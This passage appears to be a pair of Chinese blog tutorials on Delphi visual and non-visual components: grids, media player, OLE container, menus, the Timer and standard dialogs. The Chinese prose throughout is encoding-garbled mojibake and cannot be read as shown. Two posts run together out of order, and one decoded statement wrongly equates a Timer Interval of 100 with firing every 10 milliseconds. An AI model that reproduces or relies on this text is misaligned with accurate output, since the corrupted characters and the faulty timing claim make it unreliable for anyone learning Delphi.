    ¡¡¡¡Î¢µ÷±à¼­¿òSpinEditÊÇ΢µ÷°´Å¥ºÍ±à¼­¿òµÄ½áºÏ£¬ËüÔÚ±à¼­ÇøÓòÏÔʾÁËÊýÖµ£¬ÓÖÔÚÓÒ²àÉèÁË΢µ÷°´Å¥£¬Ê¹µÃÓû§Ñ¡Ôñµ÷½Ú°´Å¥»ò¸Ä±äÊýÖµµÄ·½Ê½£¬À´µ÷ÕûÊý¾ÝµÄÖµ£¬²¢·µ»ØValueÊôÐÔ¡£

    ÆäËüµÄ´ËÀಿ¼þ£¬Òòƪ·ùÏÞÖÆ£¬´Ë´¦²»×ö׸Êö¡£¾ßÌ岿¼þµÄÐÅÏ¢£¬°´ÕÕÃû³ÆÔÚÔÚÏß°ïÖúÖвéѯÆä·½·¨¡¢Óò¼°Ó¦ÓÃʵÀý£¬¿ÉÒԵõ½ÏêϸӦÓÃ×ÊÁÏ¡£ ¡¡

    1.3.7 Íø¸ñ¡¢±í¸ñ²¿¼þ¡¡

    ÔÚAdditionalÒ³ÖУ¬»¹ÓÐ×Ö·û´®±í¸ñ²¿¼þStringGrid£¬»æÍ¼±í¸ñ²¿¼þDrawGridµÈ¡£ËüÃÇ¿ÉÒÔÓÃÀ´Ä£Äâ°´Íø¸ñÅÅÁеÄÊÂÎÈç³ÉÅŵİ´¼ü¡¢²Ù×ÝÅ¥¡¢×Ö·û´®µÈ¡£ÊôÐÔRowCountºÍColCountÉèÖÃÁËÔÚÍø¸ñÖÐÏÔʾµÄÐÐÁеÄÊýÄ¿£¬ÉèÖÃFixedColsºÍFixedRowsµÄÖµ£¬¿ÉÒԹ̶¨Ò»Ð©ÐÐÁбÜÃâÔËÐÐʱ±»Óû§¸Ä±ä¡£Options¼¯ÊôÐÔº¬ÓÐ×Ö·û´®±í¸ñ²¿¼þµÄÏÔʾ·½Ê½¡¢²Ù×÷·½Ê½µÈ£¬¿ÉÒÔ²éÔİïÖú»ñµÃÏêϸµÄÐÅÏ¢£¬´Ë´¦²»ÔÙÒ»Ò»±íÊö¡£

    ͼÐαí¸ñ²¿¼þDrawGridʹµÃÓû§¿ÉÒÔÓñí¸ñµÄ·½Ê½ÏÔʾ·ÇÎı¾µÄÊý¾Ý£¬ËüµÄÓ¦ÓÃÃæ±È×Ö·û´®±í¸ñ²¿¼þ¸üΪ¹ã·º£¬¿ÉÒÔ°ÑͼƬºÍÎı¾Ò»Æð·ÅÔÚÍø¸ñÖС£

    ÑÕÉ«Íø¸ñ²¿¼þColorGridÔÚSampleÒ³ÉÏ£¬ËüÌṩ¿ØÖÆÇ°¾°É«ºÍ±³¾°É«µÄ½çÃæ£¬Í¨¹ýÊôÐÔForeGroundColorºÍBackGroundColor¿ÉÒÔ·ÃÎʵ½£¬Ò²¿ÉÒÔͨ¹ý³ÌÐò£¬°ÑµÃµ½µÄÑÕÉ«¸³Öµ¸øÆäËü¶ÔÏóµÄÑÕÉ«ÊôÐÔ¡£

    SampleÒ³µÄÈÕÀú²¿¼þCalendarÒ²ÊÇÓñí¸ñµÄ·½Ê½±íÏֵģ¬ËüÌṩÁËÒ»¸ö¼òµ¥µÄÒÔÔ·ÝΪ¿âµ¥ÔªµÄÈÕÀú±í¸ñ£¬Í¨¹ýÉ趨YearºÍMonthµÄÖµ£¬¿ÉÒԵõ½Ïà¶ÔÓ¦µÄÔ·ݵÄÈÕÀú¡£¡¡

    1.3.8 ¶àýÌå(MultiMedia)ºÍOLE²¿¼þ¡¡

    ýÌå²¥·ÅÆ÷²¿¼þMediaPlayerºÍOLE²¿¼þ¿ÉÒÔÔÚSystemÒ³ÉÏÕÒµ½¡£Ã½Ìå²¥·ÅÆ÷²¿¼þÔÚ´¦Àí¶àýÌåÎļþʱºÜÓÐÓá£ËüÏÔʾһ¸öVCR·ç¸ñµÄ¿ØÖÆÃæ°å£¬ÈÃÄú¼Ç¼»ò²¥·Å¶àýÌåµÄͼÏñ¡¢ÉùÒôÎļþ¡£Äú¿ÉÒÔͨ¹ýÊôÐÔµÄÉ趨À´¿ØÖƲ¿¼þÉϵĸ÷¸ö°´Å¥£¬Èç¸Ä±äÏÔʾÑÕÉ«¡¢Ôö¼õ°´Å¥ÊýÄ¿µÈ¡£¸Ä±äÒ»ÏÂColoredButtons¡¢EnabledButtons¡¢VisableButtonsµÄ¸÷¸ö×ÓÊôÐÔÖµ£¬Äú¾Í²»ÄÑ·¢ÏÖËüÃÇ¿ØÖƵÄÏÔʾЧ¹û¡£¾ßÌåµÄÓ¦ÓÃÒѾ­³¬¹ý±¾¼ò½éµÄÄ¿µÄ£¬Çë²ÎÔİïÖúÒÔ¼°ºóÎĵÄÏêϸ½éÉÜ¡£

    OLE¿Í»§¶Ë²¿¼þOLEContainerÔÚ´°ÌåÖд´½¨Ò»¸öOLEÓû§ÇøÓò£¬ÓÃÓÚÓëDelphiÍⲿµÄij¸ö¶ÔÏó½øÐнӿڡ£Èô¶ÔÍⲿµÄParadox±í¸ñ¡¢WordÎļþ¡¢À©Õ¹Ò³µÈ½øÐвÙ×÷£¬Ôò¶ÔÏó±¾ÉíµÄÓ¦ÓóÌÐò±ØÐëÖ§³ÖOLE²Ù×÷¡£DelphiÌṩÁËÖ§³ÖOLEÓ¦ÓõĶÔÏóÇåµ¥£¬µ¥»÷ObjClassÊôÐÔµÄÊ¡ÂÔ°´Å¥£¬¾Í»áÏÔʾ³öÀ´¡£¾ßÌåµÄÓ¦Óã¬Çë²éÔİïÖú»òÔĶÁºóÎĵÄÏêϸ²ûÊö¡£¡¡

    ÒÔÉÏ£¬ÎÒÃǽéÉÜÁËDelphiµÄ»ù±¾¿ÉÊÓ²¿¼þ¡£¶ÁÕß¿ÉÄܻᷢÏÖ£¬ÔÚStardradÒ³×îÇ°ÃæµÄÁ½¸ö²¿¼þMainMenuºÍPopupMenu»¹Ã»ÓÐÌá¼°¡£ÒòΪÕâÊǽ¨Á¢²Ëµ¥µÄÖØÒª¡¢»ù±¾²Ù×÷£¬ÎÒÃǽ«ÔÚÏÂÒ»½ÚÖÐ×öÏêϸµÄ½éÉÜ¡£ÁíÍ⣬ÔÚÏÂÎÄÖУ¬ÎÒÃÇ»¹½«½éÉܱȽÏÖØÒªµÄ²»¿ÉÊÓ²¿¼þ¡£ÖÁÓÚÊý¾Ý¿â²¿¼þ¡¢¶¯Ì¬Êý¾Ý½»»»DDE²¿¼þµÈ£¬ÒòΪÔÚºóÃæÕ½ÚÖÐÓÐÏ꾡µÄÓ÷¨½éÉÜ£¬´Ë´¦²»×¸Êö¡£¡¡

    1.4 ʹÓ÷ǿÉÊÓ²¿¼þ¡¡

    ÉÏÒ»½Ú½éÉܵĸ÷ÖÖ²¿¼þ£¬ÔÚÉè¼ÆºÍÔËÐÐʱµÄÐÎʽÊÇÒ»ÑùµÄ¡£±¾½ÚËù½éÉܵIJ¿¼þ£¬ÔÚÔËÐÐʱ±»Òþ±ÎµØÇ¶Èëµ½´°¿ÚÖУ¬ËüÃDZ¾Éí²¢²»×öÈκÎÊÂÇ飬±ØÐë±»Óû§µÄ³ÌÐòËùÖ§³Ö²ÅÄÜ·¢Éú×÷Óá£ÒòΪ²¿¼þµÄÉè¼ÆÐÎ×´ºÍÔËÐÐ״̬²¢²»Ïà¹Ø£¬ËùÒÔ£¬ÕâÖÖ²¿¼þÔÚÉè¼Æ´°ÌåÖеÄλÖÃÎ޹ؽôÒª£¬¿ÉÒÔ·ÅÔÚ´°ÌåÉϲ»Ó°ÏìÆäËü¿ÉÊÓ²¿¼þµÄÈκÎλÖá£ÕâÖÖ²¿¼þ£¬³ÆÖ®Îª·Ç¿ÉÊÓ»¯²¿¼þ¡£

    Ê×ÏÈ£¬½éÉÜÔÚStandardÒ³ÉϵÄÖØÒª²¿¼þÖ÷²Ëµ¥MainMenuºÍµ¯³öʽ²Ëµ¥PopupMenuµÄÏêϸÓ÷¨¡£¡¡

    1.4.1 ʹÓò˵¥²¿¼þ¡¡

    ²Ëµ¥²¿¼þº¬ÓÐÄÚÖõĽ»»¥Éè¼ÆÆ÷¡£ÔÚÉè¼Æ²Ëµ¥Ê±£¬¿ÉÒÔÓò˵¥Éè¼ÆÆ÷Menu Designer½øÐй¤×÷¡£

    Ó¦ÓóÌÐòµÄ²Ëµ¥ÓÐÁ½ÖÖÐÎʽ£ºMainMenuÊÇÒ»°ãµÄWindowsÓû§½çÃæ±ØÐëµÄ²¿¼þ£¬ËüÏÔʾÔڹ̶¨µÄλÖã¬Ò»°ãÓüüÅ̺ÍÊó±ê×ó¼üÀ´¼¤»î²Ëµ¥µÄ¹¦ÄÜÏPopupMenuÊǵ¯³öʽ²Ëµ¥£¬ÀýÈ磬ÎÒÃÇǰÎĵÄСÀý³ÌÔÚ¶ÔÆë²¿¼þʱÓõ½µÄDelphi²Ëµ¥£¬¾ÍÊǵ¯³öʽµÄ¡£Ò»°ãÒÔÊó±êµÄÓÒ¼ü»òÆäËü¿ì½Ý¼üÀ´¼¤»î²Ëµ¥£»²Ëµ¥µÄλÖÃÊÇÔÚÆÁÄ»ÉÏ¡°¸¡¶¯¡±µÄ£¬¸ù¾ÝÊó±êµÄµ±Ç°Î»Öþö¶¨¡£

    ÒÔÏ£¬ÎÒÃǽ«MainMenuºÍPopupMenuͳ³ÆÎª²Ëµ¥¡£¡¡

    1.4.1.1 ½øÈë²Ëµ¥Éè¼ÆÆ÷Menu Designer¡¡

    ´´½¨²Ëµ¥Ê±£¬Ê×ÏÈÒªÔÚ´°ÌåÖзÅÖÃÒ»¸ö²Ëµ¥¶ÔÏó¡£È»ºóµ÷ÈëMenu Designer½øÐв˵¥µÄÏêϸÉ趨¡£ÓÃÁ½ÖÖ·½Ê½¿ÉÒÔ½øÈëMenu Designer£ºÑ¡Öв˵¥²¿¼þ£¬µã¶¯ÊôÐÔÖÐItemsÊ¡ÂÔ°´Å¥£»»òÔڲ˵¥²¿¼þÉÏË«»÷×ó¼ü£¬¾Í»á³öÏÖMenu Designer¡£

    1.4.1.2 ´´½¨²Ëµ¥µÄ¸÷¸öÏîÄ¿¡¡

    ½øÈëMenu Designer£¬»á·¢ÏÖÔڲ˵¥µÄµÚÒ»ÏîλÖÃÉÏÓмÓÁÁÏÔʾ¡£ÊäÈë¶¥²ã²Ëµ¥Ïî(ʵ¼ÊÉÏÊÇÔÚÉ趨¶¥²ã²Ëµ¥ÏîµÄCaptionÊôÐÔ)²¢»Ø³µ¡£Ò»Ïî²Ëµ¥ÌõÉèÖÃÍêºó£¬¼ÓÁÁÏÔʾµÄλÖñ»ÒÆÖÁÏÂÀ­²Ëµ¥µÄÏÂÒ»Ïî,ͬʱ£¬Ö÷²Ëµ¥¶¥²ãÉÏ»á³öÏÖÐéÏß¿ò£¬Ö¸Ê¾³öÏÂÒ»¸ö¶¥²ã²Ëµ¥ÏîµÄλÖá£Òª°üº¬Ò»¸ö¸ôÀëÌõ£¬¿ÉÒÔ¼üÈë¶Ì»®ºá¡°-¡±¼´¼õºÅ²¢»Ø³µ¡£Öð²½ÊäÈë²Ëµ¥µÄ¸÷ÏÓÃÊó±ê×ó¼üÇл»µ½ÏÂÒ»¸ö¶¥²ã²Ëµ¥£¬Ö±µ½²Ëµ¥Íê³É¡£¡¡

    1.4.1.3 É趨¼ÓËÙ¼üºÍÈȼü¡¡

    Äú¿ÉÒÔÉ趨¼ÓËÙ¼ü£¬ÓëǰÎĵÄÀý³ÌÏàͬ£¬Ö»ÐèÔÚÊäÈëʱ£¬½«¡°&¡±·Åµ½ÐèÒªÖ¸¶¨Îª¼ÓËÙ¼üµÄ×ÖÄ¸Ç°Ãæ£¬¸Ã×Öĸ½«±»ÓÃÏ»®ÏßÏÔʾ£¬ÔËÐÐʱ£¬°´¡°Alt+¼ÓËÙ¼ü×Öĸ¡±¿ÉÒÔ¼¤»î¸Ã²Ëµ¥Ìõ¡£É趨ÈȼüÒ²ÊǺܷ½±ãµÄ£¬Ö»ÐèÔÚObject InspectorÖиò˵¥ÌõµÄShortCutÊôÐÔÖµ¶ÎµÄÏÂÀ­²Ëµ¥ÖУ¬ÎªËüÑ¡¶¨Ò»¸öÈȼü×éºÏ¼´¿É¡£ÔÚÔËÐÐʱ£¬Í¨¹ý¡°Ctrl+Èȼü×Öĸ¡±À´¼¤»î²Ëµ¥Ìõ¡£¼ÓËÙ¼üºÍÈȼü²¢²»Ã¬¶Ü£¬Äú¿ÉÒÔͬʱָ¶¨ËüÃÇ¡£¡¡

    1.4.1.4 ʹÓÃMenu DesignerµÄµ¯³öʽ²Ëµ¥¡¡

    Menu DesignerÖл¹ÓÐÒ»¸öµ¯³öʽ²Ëµ¥£¬ËüÌṩÁË¸ßÆµ²Ëµ¥´´½¨ÃüÁ²¢¿ÉÒÔ¶ÔÄ£°åÑ¡Ïî½øÐпìËÙ·ÃÎÊ¡£Ôڲ˵¥Éè¼ÆÆ÷´°¿ÚÖе¥»÷ÓÒ¼ü£¬»ò½«¹â±êÍ£Ôڲ˵¥Éè¼ÆÆ÷ÉÏ£¬°´Alt-F10£¬¿ÉÒÔµ÷³öMenu DesignerµÄµ¯³öʽ²Ëµ¥¡£Ê¹ÓÃMenu DesignerµÄµ¯³öʽ²Ëµ¥¿ÉÒÔÏò²Ëµ¥Ôö¼Ó²Ëµ¥Ïɾ³ý²Ëµ¥ÏîµÈ²Ù×÷£¬»¹¿ÉÒÔ¶Ô±ê×¼Ö÷²Ëµ¥Ä£°å½øÐÐÔö¼Ó¡¢É¾³ý¡¢²åÈëµÈ²Ù×÷¡£

    Ϊ²Ëµ¥±àÖÆ¹¦ÄÜ£¬¿ÉÒÔË«»÷²Ëµ¥Ìõ£¬»òÔÚÌØ¶¨²Ëµ¥ÌõµÄEventsÒ³ÉÏ£¬Ë«»÷ËüÏìÓ¦µÄʼþµÄÖµ¶Î£¬Delphi½«»Øµ½´úÂë±à¼­Æ÷£¬¹â±êÍ£ÔÚʼþ¶ÔÓ¦µÄʼþ´¦Àí¹ý³ÌÖУ¬Äú¿ÉÒÔΪ²Ëµ¥±àÖÆÊµÏÖÈÎÎñµÄ´úÂë¡£

    Èç¹ûÄúÒѾ­ÎªSpeed BarÉϵļÓËÙ°´Å¥±àÖÆÁËʼþ´¦Àí¹ý³Ì£¬¶øÐèÒª°ÑÏàÓ¦µÄ²Ëµ¥ÏîÁ¬½Óµ½Ê¼þ´¦Àí¹ý³ÌÉÏ£¬ÔòÖ»ÐèÔڸò˵¥ÏîµÄEventsÒ³µÄOnClickʼþºó£¬ÊäÈëʼþ´¦Àí¹ý³ÌµÄÃû³Æ¼´¿É¡£ÕâÑùµ¥»÷²Ëµ¥Ïî±ãºÍ°´¶¯¼ÓËÙ°´Å¥±ãʵÏÖͬÑùµÄ¹¦ÄÜ¡£¡¡

    1.4.1.5 ´´½¨Ç¶Ìײ˵¥¡¡

    ´´½¨Ç¶Ìײ˵¥Ò²ÊÇÖØÒªµÄÊֶΡ£DelphiµÄǶÌײ˵¥·ç¸ñÊÇǶÌײ˵¥ÁÐÔÚËüÉϲã²Ëµ¥µÄ±ßÉÏ£¬Èçͼ1.11Ëùʾ£º¡¡

    ´´½¨Ç¶Ìײ˵¥£¬°Ñ¼ÓÁÁÌõÒÆµ½ËüµÄÉϲã²Ëµ¥ÌõÉÏ£¬°´Ctrl+ÓÒÐмü£¬½«µ¯³ö×Ӳ˵¥£¬¾Í¿ÉÒÔ°´ÕÕͬÉÏËùÊöµÄ·½·¨½øÐд´½¨¹¤×÷ÁË¡£

    ͨ¹ýÍÏ--·Å²Ù×÷£¬¿ÉÒÔʵÏֲ˵¥ÌõµÄÖØÐ¶¨Î»¡£ÓÃÊó±ê×ó¼ü°´×¡Ä³Ò»²Ëµ¥Ìõ£¬Òƶ¯µ½²Ëµ¥µÄijһλÖã¬ÊÍ·Å×ó¼ü£¬²Ëµ¥Ìõ¼´µÃµ½ÖØÐ¶¨Î»¡£²Ëµ¥Éè¼ÆÆ÷ÔÊÐí²Ëµ¥ÌõÔÚ¶¥²ãÏÂÒÆ¶¯Î»Öã¬Ö§³Ö²Ëµ¥ÌõÔÚǶÌײ˵¥ÖÐÒÆ½ø¡¢ÒƳö£¬ÉõÖÁ¿ÉÒÔ½«²Ëµ¥ÌõÔÚ¸÷¸ö¶¥²ã²Ëµ¥ÏÂÊôµÄ²Ëµ¥¼äÒÆ¶¯Ó붨λ¡£

    1.4.1.6 ¸ø²Ëµ¥¼ÓÌáʾ(Hint)

    Ôڲ˵¥ÖмÓÌáʾÊǺܺõÄϰ¹ß¡£ËüʹµÃÄúµÄÓû§ÔÚÔËÐв˵¥¹¦ÄÜǰ£¬¿ÉÒԶԲ˵¥µÄÈÎÎñÓÐÒ»¸ö¼òÂÔµÄÁ˽⡣Ôڲ˵¥ÌõÈÎÒ»ÏîµÄÖµ¶Î°´F1,¿ÉÒÔ²éÔÄÔÚÏß°ïÖú£¬ÔÚ°ïÖúµÄÕýÎÄÖÐÕÒµ½OnHint²¢²éÔÄËüµÄÀý³Ì£¬½«DisplayHintµÈ·½·¨µÄÀý³ÌCopyµ½ÄúµÄ³ÌÐòÖС£È»ºó£¬Ôڲ˵¥ÌõµÄHintÊôÐÔÖмÓÈëÌáʾÕýÎÄ£¬ÔËÐÐʱµ±Óû§½«Êó±êÒÆµ½²Ëµ¥Ïîʱ£¬ÔÚ´°ÌåµÄµ×²¿×´Ì¬ÐÐÖлá³öÏÖHintÊôÐÔÖеÄÌáʾÐÅÏ¢¡¡

    1.4.1.7 ²Ëµ¥µÄÆäËüÊôÐÔ¼ò½é¡¡

    ²Ëµ¥»¹ÓÐÆäËüµÄһЩÊôÐÔ¡£EnabledÊôÐÔ¾ö¶¨²Ëµ¥ÊÇ·ñ±»½ûÓã¬ÕâÔÚ±à³ÌÖпÉÒÔʵÏÖÒ»¶¨Çé¿öϲ»ÔÊÐíÓû§Ê¹ÓÃijÏî²Ëµ¥¡£CheckedÊôÐÔ±íÕ÷Á˲˵¥ÏîµÄ¿ª¹ØÇé¿ö£¬µ±CheckedΪTrueʱ£¬²Ëµ¥ÌõµÄÇ°Ãæ»á³öÏÖÑ¡ÖбêÖ¾¡£VisibleÊôÐÔ¿ØÖƲ˵¥Òþ²ØÓë·ñ¡£ÉèÖÃÕâÒ»ÊôÐÔ¿ÉÒÔʵÏÖ¶à°æ±¾µÄ²Ëµ¥¡£±»Òþ²ØµÄ²Ëµ¥ÏîÒÔ¼°ËüµÄ×Ӳ˵¥¶¼ÊDz»¿É¼ûµÄ£¬»òÊDz»¿É·ÃÎʵġ£

    Popup MenuÔÚÓÃMenu DesignerʱÊÇÍêÈ«ÏàͬµÄ¡£Ö»²»¹ýËüÔÚÔËÐÐʱºÍÖ÷²Ëµ¥µÄ¼¤»îÐÎʽÓÐËù²»Í¬£ºËüÊÇÓÃÊó±êµÄÓÒ¼ü¼¤»îµÄ¡£µ¯³öʽ²Ëµ¥ÔÚÒ»¶¨µÄ´°¿Ú·¶Î§ÄÚ¼¤»î£¬ËùÒÔ±ØÐ뽫´°¿ÚºÍµ¯³öʽ²Ëµ¥ÁªÏµÆðÀ´¡£ÔÚÉè¼ÆÍêPopupMenuºó£¬ÐëÔÚNameÊôÐÔÖÐΪËüÃüÃû£¬È»ºó°ÑÕâ¸öÃû³Æ¸³¸ø´°ÌåµÄPopupMenuÊôÐÔ¡£ÕâÑù£¬´°¿Ú»á½ÓÊÕÓÒ¼üÊäÈ룬²¢¼¤»îµ¯³öʽ¶Ô»°¿ò¡£¡¡

    1.4.2 ʹÓüÆÊ±Æ÷²¿¼þTimer¡¡

    ÔÚSystemÒ³ÉÏ£¬»¹ÓÐÒ»¸ö(Timer¼ÆÊ±Æ÷)²¿¼þ£¬ËüÄܹ»ÓйæÂɵش¥·¢OnTimerʼþ£¬·¢ËÍÐÅÏ¢¸øÓ¦ÓóÌÐò¡£ËüÊDZàÖÆÓ¦ÓóÌÐòʱ×îÎªÖØÒªµÄ²¿¼þÖ®Ò»¡£¡¡

    1.4.2.1 TimerµÄÖØÒªÊôÐÔ¡¡

    EnabledÊôÐÔ±íʾÁ˼ÆÊ±Æ÷´ò¿ª»¹Êǹرգ»ÓÃIntervalÊôÐÔÉèÖÃÁ½¸öOnTimerʼþ¼äµÄ¼ä¸ô£¬µ¥Î»ÊǺÁÃ룬Ҳ¼´Ç§·ÖÖ®Ò»Ãë¡£½«¼ä¸ôÖÃΪ0Ï൱ÓڹرռÆÊ±Æ÷£¬IntervalµÄ×î´óÔÊÐíÖµÊÇ32767£¬Ò²¼´32.767Ãë¡£¡¡

    1.4.2.2 ʹÓÃTimer¶Ô³ÌÐò½øÐпØÖÆ¡¡

    ¼ÆÊ±Æ÷ÊǶÀÁ¢µÄ¶ÔÏó£¬ÔÚÆô¶¯ÓëWindowsÎ޹صÄÂß¼­ºÍÓ¦ÓÃʼþʱ¼«ÆäÓÐÓá£È磺ÓüÆÊ±Æ÷¿ÉÒÔÄ£ÄâʱÖÓ»ò¼ÆÊ±Æ÷£¬¿ÉÊÓµØÏÔʾ¾­¹ýµÄʱ¼ä£»¿ÉÒÔÓÃ×÷ϵͳÑÓʱ£¬DelphiÌáʾÐÅÏ¢³öÏÖÖ»ÐèÔÚ¸ÃÇøÓòÍ£¶Ù¼¸Ã룬¾ÍÊÇTimerÓ¦ÓõÄÒ»¸öÀý×Ó£»¿ÉÒÔ¼ì²éϵͳ»·¾³¡¢Ê¼þ£¬¸ù¾Ý½á¹û½øÐÐÏìÓ¦£»Ò²¿ÉÒÔÔÚ´°¿ÚÖÐÉÁ˸һ¶ÎÕýÎÄ»òͼÏñ£¬ÌáʾijÖÖ²Ù×÷»ò´¦ÀíÕýÔÚ½øÐеȵȡ£

    ÔÚ´°ÌåÖзÅÖÃÒ»¸ö¼ÆÊ±Æ÷Timer²¿¼þ£¬½«ËüµÄIntervalÊôÐÔÖÃΪ100(ÿ¸ô10ºÁÃë´¥·¢Ò»´Î)£¬Ë«»÷²¿¼þ½øÈë´úÂë±à¼­Æ÷£¬ÔÚËüµÄʼþÖмÓÈëÕâÑùÒ»¾ä³ÌÐò£º¡¡

    MessageBeep(0);¡¡

    ÔËÐÐËü£¬»áÓйæÂɵط¢³ö¡°¶£¡±Éù¡£Ëü¸øÄúÒ»¸öÓ¦ÓÃTimer²¿¼þµÄÖ±¹ÛÓ¡Ïó¡£

    ¾¡¹ÜDelphiµÄ¼ÆÊ±Æ÷ÿÃë¿ÉÒÔ²úÉú1000´Î¼¤·¢£¬ÔÚ±à³ÌÖл¹±ØÐë×¢Òâ³ÌÐò¶Ô¼ÆÊ±Æ÷¼¤·¢µÄÏìÓ¦¡£Èç¹û³ÌÐò´¦ÀíOnTimerʼþµÄʱ¼ä³¬¹ýIntervalµÄÉ趨ֵ£¬¾Í¿ÉÄÜ´í¹ýʼþ£¬ÒòΪµ±ÏÂÒ»´Î¼¤·¢µ½À´Ê±£¬ÏµÍ³ÕýæÓÚ´¦ÀíÉÏһʼþ£¬ÔòÕâ´Î¼¤·¢¾Í»á±»ºöÂÔ¡£Í¬Ê±Òª×¢ÒâÆäËüµÄWindowsÓ¦ÓóÌÐòÊÇ·ñ»áÓ°Ïì¼ÆÊ±Æ÷µÄ´¥·¢¡£Èç¹ûºǫ́ÕýÔËÐÐ×ÅÒ»¸öÕ¼Óô¦ÀíÆ÷µÄ³ÌÐò£¬¾Í¿ÉÄܻᵼÖÂTimerµÄ´¥·¢²»×¼È·£¬´Ó¶øÊ¹Ç°Ì¨³ÌÐòÔËÐгöÏÖ´íÎ󡣡¡

    1.4.3 ʹÓù«ÓöԻ°¿ò²¿¼þ¡¡

    DelphiΪÄúÔÚDialogsÒ³ÉÏÌṩÁ˼¸¸ö±ê×¼¶Ô»°¿ò£¬ËüÃÇÊÇÎļþ´ò¿ªOpenDialog£»Îļþ±£´æSaveDialog£»×ÖÌåFontdialog£»ÑÕÉ«ColorDialog£»´òÓ¡PrintDialog£»´òÓ¡ÉèÖÃPrintsetupDialog;²éÕÒFindDialog£»Ìæ»»ReplaceDialogµÈ²¿¼þ¡£

  • µÚÒ»Õ¡¡Delphi¿ìËÙÈëÃÅ£¨Èý£©

    2007-05-28 16:23:03

          
    µÚÒ»Õ¡¡Delphi¿ìËÙÈëÃÅ£¨Èý£©

    1.2.4.3 ºº»¯½çÃæ¼°×ÖÌåѡȡ¡¡

    Èç¹ûÄúµÄWindows95ϵͳÖа²×°ÁËÖÐÎÄϵͳ£¬¶Ô½çÃæ×öºº»¯ÊǼ«Æä·½±ãµÄ¡£ÀýÈ磬Äú¿ÉÒÔ½«Button1µÄCaptionÊôÐԸijɡ°&R¾ØÐΡ±£¬Í¬ÑùµØ¿É¸Ä±äÆäËü²¿¼þµÄÊôÐÔ£¬½«´°Ìå×ö³ÉÖÐÎĵIJÙ×÷½çÃæ¡£

    Èô¶ÔÖС¢Î÷ÎÄ×ÖÌå²»ÂúÒ⣬Ôò¿ÉÒÔµ÷ÕûFontÊôÐÔÒÔÂú×ãÄúµÄÒªÇó¡£FontÊôÐÔµÄÇ°Ãæ£¬ÓÐÒ»¸öССµÄ¡°+¡±ºÅ£¬Õâ˵Ã÷Ëü±íÕ÷µÄÊǼ¯ÊôÐÔ£¬Ò²¼´ÊôÐÔ²»ÔÙÊÇÒ»¸öµ¥Öµ£¬¶øÊÇÒ»¸öÊôÐԵļ¯ºÏ¡£Ë«»÷Font£¬Object Inspector½«ÔÚÏÂÃæÀ©³äÏÔʾËüµÄÆäËüÊôÐÔ¡£ColorÓÃÀ´±íʾÎı¾µÄÑÕÉ«£¬Name¶¨ÒåÁË×ÖÌåÃû£¬ÈçSystem,MsSerif,Arial,ËÎÌ壬ºÚÌåµÈ¡£StyleÏÂÓÖÓµÓÐËĸöÊôÐÔ£ºfsBold,fsItalic,fsUnderlineºÍfsTrikeOut¡£Èç¹ûÏëÈÃ×ÖÌåÓÐÆäÖеÄijÖÖ·ç¸ñ£¬¿É°ÑÏàÓ¦µÄÊôÐÔÖµÉè³ÉTrue¡£

    Font¶Ô»°¿ò¿ÉÒÔ¸üΪֱ½ÓµØÉ趨ÒÔÉÏÊôÐÔ¡£FontÊôÐÔÓÒ²àÖµ¶ÎÓдøÊ¡ÂԺŵİ´Å¥£¬µ¥»÷Ëü¿ÉÒÔ¼¤»îFont¶Ô»°¿ò£¬Èçͼ1.7Ëùʾ£º

    ÕâÒ»¶Ô»°¿òÖаüº¬ÁËÉÏÊöµÄÈ«²¿ÊôÐÔ£¬Ê¹µÃµ÷Õû×ÖÐθüΪֱ½Ó·½±ã¡£µ«ÒªÉêÃ÷µÄÊÇ£¬¶ÔÓÚ´°ÌåFormÀ´½²£¬FontÊôÐԸıäµÄÊÇ´°ÌåÖÐÆäËü²¿¼þµÄÏÔʾ×ÖÐΣ¬Ëü±¾ÉíµÄ±êÌâ×ÖÌåÊÇȱʡµÄSystem×ÖÌ壬²»ÄÜͨ¹ýÊôÐÔÀ´¸Ä±ä¡£

    1.2.4.4ʹÓÃͼÐα༭¶Ô»°¿ò¡¡

    ×îºó£¬ÎÒÃÇÓÃͼ±ê°´Å¥BitBtn1À´¿ØÖÆShape²¿¼þµÄÑÕÉ«¡£Ñ¡ÖÐͼ±ê°´Å¥£¬½«ËüµÄCaptionÊôÐÔ¸ÄΪ¡°&Color¡±(»ò¡°&CÑÕÉ«¡±)¡£¿ÉÒÔÔÚ°´Å¥ÖмÓÈëÒ»¸öͼ±êÀ´ÐÎÏ󵨱íÊöËüµÄ¹¦ÄÜ¡£Ñ¡ÓÃObject InspectorÖеÄGlyphÊôÐÔ£¬µã¶¯Öµ¶ÎµÄÈýµã°´Å¥£¬µ¯³öͼÐα༭¶Ô»°¿ò¡£

    Äú¿ÉÒÔͨ¹ýͼÐα༭¶Ô»°¿ò×°Èëͼ±ê£¬ÔÚ±¾Àý³ÌÖУ¬°´¶¯Load°´Å¥£¬Ñ¡Ôñ\Delphi 2.0\Images\Buttons\Brush.bmpÎļþ×°È룬Bitbtn1¾Í³ÉΪһ¸öͼ±ê°´Å¥¡£ÁíÍ⣬Delphi»¹ÎªÄúÌṩÁ˷ḻµÄWindows±ê׼ͼ±ê°´Å¥¡£ÏëÔËÓÃËüÃÇ£¬¸Ä±äBitBtnµÄKindÊôÐÔ¡£Óû§²»·Á³¢ÊÔһϣ¬Ñ¡ÔñÆäËüÖµ¿ÉÒÔÉú³ÉƯÁÁµÄ±ê×¼°´Å¥£¬ÈçOK,CancelµÈµÈ¡£Õâ»áʹÄúÔÚÒÔºóµÄ³ÌÐò¿ª·¢ÖÐÊÜÒæ·Ëdz¡£

    ÖÁ´Ë£¬½çÃæµÄÉè¼Æ¹¤×÷¾ÍÒÑÍê³ÉÁË¡£ÔËÐÐһϹ۲ìЧ¹û£¬±ðÍü¼Ç±£´æÄúµÄ¿âµ¥ÔªÎļþ¡¢¹¤³ÌÎļþ¡£¡¡

    1.2.5 ±àдʼþ´¦Àí¹ý³Ì¡¡

    Íê³ÉÓû§½çÃæ£¬Ö»Êǽ¨Á¢ÁËÒ»¸ö¡°¹Ç¼Ü¡±£¬ÏÂÃæÒª×öµÄ±ãÊǸø³ÌÐò¼ÓÈë¡°Áé»ê¡±£¬Ò²¼´£¬Ê¹ËüÄܹ»Íê³ÉËùÒªÇóµÄ¹¦ÄÜ¡£¡¡

    1.2.5.1 ΪÓû§²Ù×÷½¨Á¢¡°Ê¼þ¡±

